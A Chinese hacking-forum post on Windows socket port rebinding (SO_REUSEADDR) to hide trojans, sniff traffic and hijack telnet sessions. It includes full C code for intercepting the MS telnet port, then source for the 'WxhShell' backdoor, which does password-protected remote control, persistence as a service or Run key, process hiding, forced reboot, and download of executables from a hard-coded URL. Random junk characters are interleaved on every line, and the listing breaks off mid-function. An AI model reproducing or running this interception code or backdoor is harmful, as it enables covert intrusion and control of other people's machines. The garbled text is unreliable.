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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: tT'd]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5t0i/&zX  
<pi q?:ac  
  saddr.sin_family = AF_INET; l65'EO|  
]4hXK!^Uu  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,[~Ydth  
to,=Q8 )0  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); gR1X@j$_  
+n)(\k{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 i 0L7`TB  
hW/*]7AM^  
  这意味着什么?意味着可以进行如下的攻击: MRmz/ZmRM  
4 (Y5n?/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]kKf4SJZFU  
}H^#}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) J-u,6c  
t,MK#Ko  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^hbh|Du  
Sw(%j1uL  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  V <k_Q@K  
c*\^6 1T  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 yv'mV=BMJ!  
k&^Megcb  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 u5idH),<  
EiT raWV"O  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Jr1^qY`0+  
FRfMtxvU  
  #include s$Roe(J  
  #include >A1Yn]k  
  #include Y&gfe8%5N  
  #include    =OjzBiHR  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /=Xen mmS  
  int main() +mxsjcq0  
  { "~FXmKcX  
  WORD wVersionRequested; cYGZZC8|K  
  DWORD ret; +>I4@1qC-|  
  WSADATA wsaData; 5[*MT%ms  
  BOOL val; vtvr{Uqo@  
  SOCKADDR_IN saddr; H|,{^b@9  
  SOCKADDR_IN scaddr; A.<X78!^  
  int err; SSI&WZ2a  
  SOCKET s; fM2[wh@  
  SOCKET sc; bfa5X<8  
  int caddsize; S - 7JDE>  
  HANDLE mt; DJ<e=F!  
  DWORD tid;   kXG+zsT  
  wVersionRequested = MAKEWORD( 2, 2 ); ^,`Lt *  
  err = WSAStartup( wVersionRequested, &wsaData ); <[pU rJfTr  
  if ( err != 0 ) { %%-kUe  
  printf("error!WSAStartup failed!\n"); qo}kwwWN;  
  return -1; [N$@nA-d  
  } Jg%sl& 65  
  saddr.sin_family = AF_INET; t?c*(?Xa  
   r#{lpF,3Ib  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 V-X n&s  
MvRuW:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *|`'L  
  saddr.sin_port = htons(23); X;}_[ =-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sI^1c$sBN  
  { Ex*g>~e  
  printf("error!socket failed!\n"); =%RDT9T.  
  return -1; Y ,}p  
  } yp :yS  
  val = TRUE; "4r5n8  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3a#!^ G!~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Rl S=^}>  
  { Q"Bgr&RJ  
  printf("error!setsockopt failed!\n"); M)b`~|Wt  
  return -1; ? th+~dE  
  } -'8|D!>v2  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; uAJ_`o[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 C-2n2OM.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~" $9auQtC  
.b]oB_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) bz>#}P=58G  
  { 4/d#)6  
  ret=GetLastError(); 7l:H~"9r  
  printf("error!bind failed!\n"); DPe`C%Oc1  
  return -1; >U) ,^H(  
  } j5ui  
  listen(s,2); n_c0=YH  
  while(1) r[\47cG  
  { 6=H-H\iw  
  caddsize = sizeof(scaddr);  m+vwp\0  
  //接受连接请求 [PQG]"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); rre;HJGEL  
  if(sc!=INVALID_SOCKET) MM5#B!BB  
  { 7unu-P<C  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5 wc&0h  
  if(mt==NULL) IGI2).$[  
  { ;M JM~\L0  
  printf("Thread Creat Failed!\n"); 1}'Jbj"/  
  break; QeQbO  
  } X5<L  
  } bqLv81V  
  CloseHandle(mt); :m+:%keK  
  } ]_-$  
  closesocket(s); &V2G <gm0  
  WSACleanup(); Z1OcGRN!  
  return 0; gr-%9=Uq  
  }   |]B]0J#_  
  DWORD WINAPI ClientThread(LPVOID lpParam) $~9U-B\  
  { ( NiuAy  
  SOCKET ss = (SOCKET)lpParam; oYqC"g&4Z  
  SOCKET sc; m<076O4|`  
  unsigned char buf[4096]; hA~}6Qn  
  SOCKADDR_IN saddr; .t}nznh  
  long num; UbuxD})  
  DWORD val; wicg8[T=B  
  DWORD ret; }M9'N%PU  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =+"XV8Fi,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ](0A/,#q6  
  saddr.sin_family = AF_INET; S@*@*>s^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ll5Kd=3  
  saddr.sin_port = htons(23); VLOyUt~O#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f|apk,o_  
  { SD697L9  
  printf("error!socket failed!\n"); v'iQLUgI  
  return -1; %R_8`4IQ  
  } eq/s8]uM  
  val = 100; nDPfr\\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }k ,Si9O  
  { *'`-plS7  
  ret = GetLastError(); 3Y r   
  return -1; e~}+.B0  
  } \(A>~D8Fo  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3yZ@i<rfH  
  { dA_s7),  
  ret = GetLastError(); x,1&ml5  
  return -1; =Of#Ps)  
  } ZERd#7@m+  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %Ajf|Go0/G  
  { lc/2!:g  
  printf("error!socket connect failed!\n"); |X_yL3`Zb  
  closesocket(sc); @%jzVF7  
  closesocket(ss); 8.A; I<  
  return -1; \K)q$E<!  
  } v/m6(z  
  while(1) 8>epKFEg  
  { nH_A`m3%/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +q2l,{|?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 <Z0Tz6/j,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 iI _Fbw8  
  num = recv(ss,buf,4096,0); nGuF, 0j  
  if(num>0) WIhf*LF"  
  send(sc,buf,num,0); ?Dfgyz  
  else if(num==0) W:tE ?Hu  
  break; g"#+U7O  
  num = recv(sc,buf,4096,0); h.8J6;36  
  if(num>0) G[wa,j^hu  
  send(ss,buf,num,0); !WIL|\jbh  
  else if(num==0) lvFHr}W  
  break; .lE"N1  
  } QP qa\87  
  closesocket(ss); XFX:) l#o  
  closesocket(sc); 1o$<pZZ  
  return 0 ; fNlUc  
  }  k/t4  
]V9\4#I4  
wv*r}{%7g[  
========================================================== F4:ssy^  
dFS+O;zE\  
下边附上一个代码,,WXhSHELL Uh7kB`2  
!X,=RR `zT  
========================================================== 0_j!t  
`9F'mT#o/  
#include "stdafx.h" K1$Z=]a+  
v8WoV*  
#include <stdio.h> f"PApV9[  
#include <string.h>  k&rl%P  
#include <windows.h> }2{%V^D)r  
#include <winsock2.h> , R]7{7$  
#include <winsvc.h> UV:_5"-  
#include <urlmon.h> ,0 ])]  
|fa3;8!96  
#pragma comment (lib, "Ws2_32.lib") O!|:ZMjF  
#pragma comment (lib, "urlmon.lib") 6x.#K9@q4  
<4VUzgX2  
#define MAX_USER   100 // 最大客户端连接数 :|d3BuY  
#define BUF_SOCK   200 // sock buffer b_6j77  
#define KEY_BUFF   255 // 输入 buffer %f^TZ,q$  
.]jKuTC\<  
#define REBOOT     0   // 重启 %]:u^\7  
#define SHUTDOWN   1   // 关机 .E@yB`AR  
AMkjoy3+]  
#define DEF_PORT   5000 // 监听端口 @F=4B0=  
W"~G]a+  
#define REG_LEN     16   // 注册表键长度 } $OQw'L[  
#define SVC_LEN     80   // NT服务名长度  _@HMk"A  
T}zOM%]]  
// 从dll定义API W;o\}irep  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gjwp' GN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V862(y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _El=M0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4w\')@`[jk  
$ A ( #^&  
// wxhshell配置信息 .lj\ H  
struct WSCFG { Qn6&M  
  int ws_port;         // 监听端口 9oN b= .  
  char ws_passstr[REG_LEN]; // 口令 Qg4qjX](?  
  int ws_autoins;       // 安装标记, 1=yes 0=no gTs5xDvJ  
  char ws_regname[REG_LEN]; // 注册表键名 4sG^ bZ,  
  char ws_svcname[REG_LEN]; // 服务名 Dzp9BRS 2f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1[^2f70n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8_:jPd! 3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z5Po,@W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C:H9C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,(]hykbXp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F*(<`V  
m'a3}vRV(  
}; TMq\}k-I5  
\N!k)6\  
// default Wxhshell configuration whD%Oz*f  
struct WSCFG wscfg={DEF_PORT, tcmG>^YM  
    "xuhuanlingzhe", i8EMjLBUR  
    1, rs<UWk<q  
    "Wxhshell", VFRUiz/C  
    "Wxhshell", !K3 #4   
            "WxhShell Service", sg2T)^*V  
    "Wrsky Windows CmdShell Service", ( vgoG5  
    "Please Input Your Password: ", BE:GB?XBH  
  1, O.!|;)HQ  
  "http://www.wrsky.com/wxhshell.exe", =)'AXtvE  
  "Wxhshell.exe" c7sW:Yzil  
    }; T?Hs_u{  
/}(w{6C  
// 消息定义模块 5{j1<4zxR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :Oy9`vv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v vOG]2z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vJK0>":G  
char *msg_ws_ext="\n\rExit."; )6Hc Pso6  
char *msg_ws_end="\n\rQuit."; iN=-N=  
char *msg_ws_boot="\n\rReboot..."; bluhiiATd  
char *msg_ws_poff="\n\rShutdown..."; }Vk#w%EJ  
char *msg_ws_down="\n\rSave to "; cO_En`F  
29}(l#S}m  
char *msg_ws_err="\n\rErr!"; qm8[ ^jO&  
char *msg_ws_ok="\n\rOK!"; \_0nH`  
t13wQ t  
char ExeFile[MAX_PATH]; ax,%07hJ  
int nUser = 0; ^ WidA-  
HANDLE handles[MAX_USER]; 0~)cAKus  
int OsIsNt; D1#fy=u69|  
1VH7z  
SERVICE_STATUS       serviceStatus; O cd ^{u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #2/k^N4r  
epR7p^`7  
// 函数声明 v2/@Pu!kg  
int Install(void); 1iig0l6\m  
int Uninstall(void); #r>  
int DownloadFile(char *sURL, SOCKET wsh); xyBWV]Y  
int Boot(int flag); <mi*AY  
void HideProc(void); 6-j><'  
int GetOsVer(void); "0pu_  
int Wxhshell(SOCKET wsl); IL*C/y  
void TalkWithClient(void *cs); "Lw[ $  
int CmdShell(SOCKET sock); ~X)Aw 3}F  
int StartFromService(void); Z;-=xp  
int StartWxhshell(LPSTR lpCmdLine); |*K AqTO0  
IP9mv`[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hvwKhQ}wX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (TgLCT[@T  
`[X5mEe  
// 数据结构和表定义 :$L^l{gT  
SERVICE_TABLE_ENTRY DispatchTable[] = lN -vFna  
{ <$qe2Ft Uq  
{wscfg.ws_svcname, NTServiceMain}, A )tGB&  
{NULL, NULL} 1 cvoI  
}; J7c(qGJI2  
.T#h5[S2x  
// 自我安装 }f?$QSF  
int Install(void) W&T -E,  
{ XE6sFU  
  char svExeFile[MAX_PATH]; j.= VZ  
  HKEY key; \u9l4  
  strcpy(svExeFile,ExeFile); ViKN|W >T  
M&wf4)*%0+  
// 如果是win9x系统,修改注册表设为自启动 :6:;Z qn  
if(!OsIsNt) { 8{^zXJi]m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  dtTQY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xU6)~ae`JW  
  RegCloseKey(key); DQui7dr)l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h/?$~OD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I($0&Y\De  
  RegCloseKey(key); *6IytW OX5  
  return 0; I!Z=3 $,  
    } :2ILN.&  
  } ^T2o9f  
} N`,ppj  
else { DP_ ]\V<sT  
$F2 A  
// 如果是NT以上系统,安装为系统服务 ?d&l_Pa0e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q|r^)0W  
if (schSCManager!=0) % 8u97f W  
{ Ymt.>8L  
  SC_HANDLE schService = CreateService o"wvP~H  
  ( v P;  
  schSCManager, {wA(%e3_  
  wscfg.ws_svcname, EX@wenR  
  wscfg.ws_svcdisp, gc,%A'OR^<  
  SERVICE_ALL_ACCESS, h9-^aB$8^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5 6w6=Is  
  SERVICE_AUTO_START, N hG?@N  
  SERVICE_ERROR_NORMAL, 8vR Q_  
  svExeFile, S8>1l?UH  
  NULL, w5Lev}Rb  
  NULL, uW;[FTcqy$  
  NULL, > oh7f|  
  NULL, f"9aL= 3  
  NULL 2PZ#w(An&  
  ); 'vCl@x$  
  if (schService!=0) = j)5kY`  
  { [/E|n[Bx  
  CloseServiceHandle(schService); \D6 7J239E  
  CloseServiceHandle(schSCManager); _Fe%Ek1Yy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bbNN$-S|  
  strcat(svExeFile,wscfg.ws_svcname); &l M=>?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { IE]? WW5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S,0h &A9  
  RegCloseKey(key); uE E;~`G  
  return 0; c`,'[Q5(O  
    } 7C / ^ Gw  
  } yrvV<}  
  CloseServiceHandle(schSCManager); AcHr X=O  
} aoqG*qh}b  
} [Z]%jABR  
-<0xS.^  
return 1; 88uoA6Y8h  
} Oz{FM6  
Z; 6N7U  
// 自我卸载 d%,@,>>)  
int Uninstall(void) uE &/:+  
{ Y' FB {  
  HKEY key; 80_}}op ?8  
E5iNuJj=f  
if(!OsIsNt) { 1L;3e@G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MxLg8,M  
  RegDeleteValue(key,wscfg.ws_regname); 2^w8J w9  
  RegCloseKey(key); F% < ZEVm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3le$0f:O  
  RegDeleteValue(key,wscfg.ws_regname); GD-L0kw5  
  RegCloseKey(key); 9z#z9|hj)3  
  return 0; N++ ;}j  
  } E%%iVFPX  
} utzf7?nIS  
} WBN3:Y7  
else { )Szn,  
+ *)Kyk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xYp-Y"a.  
if (schSCManager!=0) 9ERyr1-u v  
{ l~ Hu#+O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); do[w&`jw8  
  if (schService!=0) x1`4hB  
  { "W^+NeLc  
  if(DeleteService(schService)!=0) { gT_tR_g  
  CloseServiceHandle(schService); h~pQ  
  CloseServiceHandle(schSCManager); 6c6w w"  
  return 0; LK|1[y^h  
  } W:VX^8</  
  CloseServiceHandle(schService); ;:  xE'-  
  } B4/\=MXb  
  CloseServiceHandle(schSCManager); ()^tw5e'^  
} +aQM %~  
} ~F " w  
kD46Le++B  
return 1; 719lfI&s  
} Ua.%?V  
f = 'AI  
// 从指定url下载文件 hG2WxYk  
int DownloadFile(char *sURL, SOCKET wsh) |mQC-=6t;Y  
{ qm/#kPlM  
  HRESULT hr; H krhd   
char seps[]= "/"; XUVBD;"f!  
char *token; v%muno,  
char *file; .4J7 ^l  
char myURL[MAX_PATH]; 9fy[%M  
char myFILE[MAX_PATH]; 7Y.mp9,  
C1==a FD  
strcpy(myURL,sURL); Q_6v3no1  
  token=strtok(myURL,seps); BU<Qp$ &  
  while(token!=NULL) $9@3dM*E?Z  
  { PDpuHHB  
    file=token; GYrUB59  
  token=strtok(NULL,seps); ly`\TnC  
  } R$x(3eyx  
(c S'Nm5  
GetCurrentDirectory(MAX_PATH,myFILE); p`Ok(C_  
strcat(myFILE, "\\"); g;~$xXn  
strcat(myFILE, file); .U#oN_D  
  send(wsh,myFILE,strlen(myFILE),0); P>EG;u@.  
send(wsh,"...",3,0); cwE?+vB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [(; .D  
  if(hr==S_OK) ]E|E4K6g  
return 0; q*!Vyk  
else I6i qC"BK  
return 1; !{F\ \D/  
A;TNR  
} qtjx<`EK>  
m 0]1(\%  
// 系统电源模块 Am<){&XT ]  
int Boot(int flag) T"e"?JSRJ  
{ )TcD-Jr  
  HANDLE hToken; ^7Ebg5<  
  TOKEN_PRIVILEGES tkp;  c`}YL4  
J ql$ g  
  if(OsIsNt) { 4}t$Lf_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qFp]jbU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  GPrq(  
    tkp.PrivilegeCount = 1; a+B3`6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xB_7 8X1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Bxf&gDwjgr  
if(flag==REBOOT) { IN@ =UAc&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \;Sl5*kr  
  return 0; w&Z.rB?  
} fskc'%x  
else { sWq@E6,I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "`V:4uz  
  return 0; zUA -  
} G%dzJpC(  
  } Z*Fn2I4  
  else { _=K\E0I.m  
if(flag==REBOOT) { u yoV)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;?{OX  
  return 0; ?'si ^N  
} _z@_.%P\  
else { nFjaV`6`@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2UMX%+ "J  
  return 0; 8#|PJc  
}  n[7=  
} @`nU=kY/  
0KN'\KE  
return 1; BO>[\!=y  
} v807)JwS  
/BrbP7  
// win9x进程隐藏模块 ;It1i`!R  
void HideProc(void) ahR-^^'$  
{ p[%B#(]9,  
?:7.3{|Aq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vv D515i  
  if ( hKernel != NULL ) q+)s  
  { ]x@36Ok)A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rW2l+:@c  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,o\~d ?4  
    FreeLibrary(hKernel); B7n1'?  
  } 7G%^8 ce{!  
v"sN K  
return; #&Zj6en}M]  
} Gdr7d  
!Xzy:  
// 获取操作系统版本 V0*9Tnc  
int GetOsVer(void) /< \do 1  
{ oYX#VX  
  OSVERSIONINFO winfo; mW#p&{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `<?((l%;R  
  GetVersionEx(&winfo); FD.L{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4Z/ ]7Ie  
  return 1; A[Vhy;xz  
  else 3 Ol`i$  
  return 0; 9j1 tcT  
} 6~Y`<#X5J  
0T:ZWRjH  
// 客户端句柄模块 vl5r~F  
int Wxhshell(SOCKET wsl) mam(h{f$  
{ Ns-3\~QSi  
  SOCKET wsh; GTW5f  
  struct sockaddr_in client; lsOZ%p%fV  
  DWORD myID; A"B[F#  
&z"yls  
  while(nUser<MAX_USER) o vX9  
{ ETaLE[T%1  
  int nSize=sizeof(client); ~ym-Szo  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ys9MV%*  
  if(wsh==INVALID_SOCKET) return 1; Es+BV+x[.c  
M!iYj+nrP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (C hL$!x  
if(handles[nUser]==0) p"q4R2_/jh  
  closesocket(wsh); tH9BC5+r}  
else `BY&&Bv#?  
  nUser++; ] dHV^!  
  } WC 5v#*Jd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y_Nn%(j  
+WSM<S2 U  
  return 0; #}zL?s^G  
} {pEbi)CF,}  
5OX5\#Ux  
// 关闭 socket R^GLATM  
void CloseIt(SOCKET wsh) B1 [O9U:  
{ G `JXi/#`  
closesocket(wsh); 2_;3B4GDF  
nUser--; .8Gmy07  
ExitThread(0); /qO?)p3gk  
} EXT_x q  
+#g?rCz  
// 客户端请求句柄 &;oWmmvz{  
void TalkWithClient(void *cs) e[J0+ x#;r  
{ 8}Su7v1  
}P"JP[#E\  
  SOCKET wsh=(SOCKET)cs; df!n.&\y!  
  char pwd[SVC_LEN]; X" ;ly0Mb  
  char cmd[KEY_BUFF]; \B D'"  
char chr[1]; qGKQrb,K  
int i,j; FrD,)Ad8Q  
ahm@ +/2  
  while (nUser < MAX_USER) { 2~SjRIpUw  
j!QP>AM|`  
if(wscfg.ws_passstr) { L51uC ,QF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }&Jml%F4uR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1R"ymWg"  
  //ZeroMemory(pwd,KEY_BUFF); 9-N*Jhg  
      i=0; yX;v   
  while(i<SVC_LEN) { s~Od(,K  
zmh3 Qa(  
  // 设置超时 U)gr C8 C  
  fd_set FdRead; *dm?,~f%<  
  struct timeval TimeOut; GHo=)NTjy  
  FD_ZERO(&FdRead); t /CE,DQ  
  FD_SET(wsh,&FdRead); cdfvc0  
  TimeOut.tv_sec=8; & l NHNu[  
  TimeOut.tv_usec=0; C!aK5rqhv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); oyY0!w,Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~85Pgb<  
Yet!qmZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \!,@pe_  
  pwd=chr[0]; jaI mO  
  if(chr[0]==0xd || chr[0]==0xa) { 5x; y{qT  
  pwd=0; ok7yFm1\  
  break; @}@J$ g  
  } I!sB$=n  
  i++; -g]g  
    } Um9]X@z  
O8% Y .SK  
  // 如果是非法用户,关闭 socket >E`p@ e+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b_T?jCyW  
} fdRw:K8  
G' 'l,\3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h_:|H8t;w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1V37% D  
~wsD g[  
while(1) { P2;I0 !  
0qrsf!  
  ZeroMemory(cmd,KEY_BUFF); *PJg~F%  
79 ZBVe(}  
      // 自动支持客户端 telnet标准   -O-qEQd  
  j=0; xl~%hwBd  
  while(j<KEY_BUFF) { l ,T*b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YaDr.?  
  cmd[j]=chr[0]; $!_]mz6*  
  if(chr[0]==0xa || chr[0]==0xd) { , 1{)B  
  cmd[j]=0;  uM9[  
  break; '9MtIcNb  
  } ,pz^8NJAI  
  j++; <H)I06];  
    } x\Det$3Kx  
r{gJ[%  
  // 下载文件 F! ;0eS"xp  
  if(strstr(cmd,"http://")) { A+lP]Oy0S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Qpc+1{BQ  
  if(DownloadFile(cmd,wsh)) &S"o jbb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); EK6fd#J?1  
  else :}Tw+S5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R~],5_|  
  } 3./4] _p  
  else { RrDNEwAr  
OyG$ ]C  
    switch(cmd[0]) { 007SA6xq  
  HV??B :  
  // 帮助 `%x6;Ha  
  case '?': { :+SpZ>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8U07]=Bt<  
    break; + fQ=G/  
  } ddMSiwbY)  
  // 安装 r>hkm53  
  case 'i': { Ta38/v;S  
    if(Install()) :>.~"uWo{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 12Hy.l  
    else ~ YKBxt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >~5>)yN_a1  
    break; pOn>m1|  
    } .1.Bf26}d  
  // 卸载 9@-^! DBM  
  case 'r': { P!{ O<P  
    if(Uninstall()) I T)rhi:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i[~oMwc&  
    else b0 CtQe  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wPDA_ns~  
    break; *FkG32k  
    } $^Dx4:k<2  
  // 显示 wxhshell 所在路径 Syn>;FX  
  case 'p': { tVZj tGz=  
    char svExeFile[MAX_PATH]; BC0T[o(f8  
    strcpy(svExeFile,"\n\r"); 9IKFrCO9,  
      strcat(svExeFile,ExeFile); )jK"\'cK  
        send(wsh,svExeFile,strlen(svExeFile),0); 38dXfl  
    break; fmvX;0O  
    }  ? {Lp  
  // 重启 Eg?6$[U`8<  
  case 'b': { cPxA R]'U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $up.< qzj  
    if(Boot(REBOOT)) 8Hf!@p6R+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xS` %3+|  
    else { 5uK:f\y)l  
    closesocket(wsh); vMXS%Q  
    ExitThread(0); }Lx?RU+@=  
    } J 21D/#v  
    break; XQhBnam%  
    } Yw=Ve 0  
  // 关机 #5kQn>R  
  case 'd': { |2\6X's  
